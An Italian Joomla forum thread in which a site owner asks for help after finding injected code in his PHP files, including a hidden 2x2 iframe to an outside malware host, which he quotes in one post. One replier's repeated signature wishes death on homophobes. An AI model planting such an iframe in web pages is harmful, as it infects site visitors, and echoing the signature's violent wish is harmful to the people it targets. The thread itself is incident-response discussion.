Back to top

Autore Topic: File php con stringhe e iframe sconosciuti  (Letto 882 volte)

Offline mr.mikk

  • Newbie
  • *
  • Post: 5
    • Mostra profilo
File php con stringhe e iframe sconosciuti
« il: 31 Mag 2011, 19:29:49 »
Ho spulciato un po' sul forum e da quello che speravo fosse un problema banale (errori sulla cache) ho invece scoperto vari file php modificati e che inchiodano il sito lato admin e fronted. Ho copiato le stringhe che ho scoperto fino ad ora nel caso vi possano essere di aiuto e magari, per i più esperti, trovarne la fonte ed eliminarla. Vi chiedo qualche consiglio sul da farsi (ho letto cmq la bellissima guida) anche se qualche dubbio sulla fonte l'ho già. Grazie in anticipo a tutti!

Mikk

Offline M_W_C

  • Cyborg
  • ******
  • Post: 12119
  • Web Solutions
    • Mostra profilo
    • Milano Web City
Re:File php con stringhe e iframe sconosciuti
« Risposta #1 il: 31 Mag 2011, 20:29:33 »
Vi chiedo qualche consiglio sul da farsi (ho letto cmq la bellissima guida)
-------------------------------------------------------
appunto, la guida è stata scritta perchè i consigli sono sempre gli stessi.

M.
Matteo ma che domande ti fai?
Se gli omofobi si dessero tutti fuoco per protesta avremmo già risolto il problema... vite inutili spazzate via dall'idropulitrice della nettezza urbana...

Offline mr.mikk

  • Newbie
  • *
  • Post: 5
    • Mostra profilo
Re:File php con stringhe e iframe sconosciuti
« Risposta #2 il: 31 Mag 2011, 20:49:08 »
Ok sbagliato io a pensare che potessi avere un aiuto in più rispetto alla guida. Grazie lo stesso.

Offline M_W_C

  • Cyborg
  • ******
  • Post: 12119
  • Web Solutions
    • Mostra profilo
    • Milano Web City
Re:File php con stringhe e iframe sconosciuti
« Risposta #3 il: 31 Mag 2011, 21:20:35 »
ma se hai bisogno di un'aiuto in più rispetto alla guida non c'è problema figurati...
la mia risposta voleva dire semplicemente che aldilà di chi fa l'attacco e del perchè le cose da fare sono sempre quelle, ma anche in generale non solo su joomla, andrebbe benissimo per drupal o wp se a volte non entrasse in path che non in tutti sono uguali.

M.
Matteo ma che domande ti fai?
Se gli omofobi si dessero tutti fuoco per protesta avremmo già risolto il problema... vite inutili spazzate via dall'idropulitrice della nettezza urbana...

Offline mr.mikk

  • Newbie
  • *
  • Post: 5
    • Mostra profilo
Re:File php con stringhe e iframe sconosciuti
« Risposta #4 il: 31 Mag 2011, 21:37:13 »
Queste sono le stringhe incriminate (sperando siano solo queste):

Codice: [Seleziona]
$somecrainsignvar="vno0zfuf"; echo


<iframe src='http://indometastan.in/in.cgi?default' width='2' height='2' frameborder='0'></iframe>

Se può creare dei problemi il fatto che le abbia postate cancellatele pure. Da quello che ho letto su internet pare che funzioni con un iframe che installa un qualche tipo di malware (o almeno ci prova) su tutte le macchine che visitano il sito...se è così è un grosso problema. Riuscireste per caso a confermare o smentire quello che ho letto?

ps. ho trovato questo sito che pare dia una soluzione definitiva, vi pare valida?
pps. link del report di Anubis Report
Grazie a tutti
« Ultima modifica: 31 Mag 2011, 21:46:12 da mr.mikk »

Offline 56francesco

  • Cyborg
  • ******
  • Post: 28422
  • Sesso: Maschio
    • Mostra profilo
    • Nuova veste (forse) definitiva.
Re:File php con stringhe e iframe sconosciuti
« Risposta #5 il: 31 Mag 2011, 21:45:46 »
la monnezza nella differenziata, non credi?
se proprio devi fai un file.txt e chi vuole se lo apre,
Professionisti on line, proprio come in un ufficio reale: www.forum-consulenza.it
Molti dei tuoi problemi quotidiani li puoi risolvere con  www.municipaleunica.it  prova.

Offline mr.mikk

  • Newbie
  • *
  • Post: 5
    • Mostra profilo
Re:File php con stringhe e iframe sconosciuti
« Risposta #6 il: 31 Mag 2011, 21:48:16 »
Non avendo trovato il pulsante "spoiler" e avendo ipotizzato che l'upload di file fosse disattivato ho pensato fosse la soluzione più pratica e comunque non troppo ingombrante.

Offline 56francesco

  • Cyborg
  • ******
  • Post: 28422
  • Sesso: Maschio
    • Mostra profilo
    • Nuova veste (forse) definitiva.
Re:File php con stringhe e iframe sconosciuti
« Risposta #7 il: 31 Mag 2011, 21:50:57 »
ma a che serve? ti crediamo sulla parola,  hanno bucato il sito,  avrebbero potuto infilarci mille cose diverse..

hai dei contatori esterni per caso nel sito?
Professionisti on line, proprio come in un ufficio reale: www.forum-consulenza.it
Molti dei tuoi problemi quotidiani li puoi risolvere con  www.municipaleunica.it  prova.

Offline M_W_C

  • Cyborg
  • ******
  • Post: 12119
  • Web Solutions
    • Mostra profilo
    • Milano Web City
Re:File php con stringhe e iframe sconosciuti
« Risposta #8 il: 31 Mag 2011, 21:57:37 »
boh...non ti capisco molto... c'è scritto anche quello che dici... mi viene il dubbio che tu non parli di questo
http://forum.joomla.it/index.php/topic,117151.0.html

ti si è infettato il pc c'è scritto quello che devi fare

M.
Matteo ma che domande ti fai?
Se gli omofobi si dessero tutti fuoco per protesta avremmo già risolto il problema... vite inutili spazzate via dall'idropulitrice della nettezza urbana...

Offline mr.mikk

  • Newbie
  • *
  • Post: 5
    • Mostra profilo
Re:File php con stringhe e iframe sconosciuti
« Risposta #9 il: 31 Mag 2011, 22:04:58 »
Contatori esterni no, avevo uno dei tanti moduli come contatore che si trovano in joomla extensions. Per adesso vi ringrazio, magari riscrivo domani quando sono più calmo perchè capisco che per voi sia difficile rimanere gentili e cortesi per così tanto tempo, in più fare tutto questo come volontariato ma visto che sono già abbastanza scocciato per questo problema rischio di flammare a ogni vostra risposta brusca e non mi sembrerebbe rispettoso nei confronti di nessuno. Comunque si la guida era quella. Grazie ancora.

 



Web Design Bolzano Kreatif